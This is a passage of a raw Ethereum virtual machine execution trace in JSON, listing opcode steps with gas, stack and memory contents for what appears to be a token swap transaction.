0000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12088,"op":"PUSH1","gas":78842,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12090,"op":"PUSH1","gas":78839,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12092,"op":"SHL","gas":78836,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12093,"op":"SUB","gas":78833,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12094,"op":"AND","gas":78830,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12095,"op":"DUP7","gas":78827,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12096,"op":"PUSH1","gas":78824,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12098,"op":"PUSH1","gas":78821,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12100,"op":"PUSH1","gas":78818,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12102,"op":"SHL","gas":78815,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12103,"op":"SUB","gas":78812,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12104,"op":"AND","gas":78809,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12105,"op":"EQ","gas":78806,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f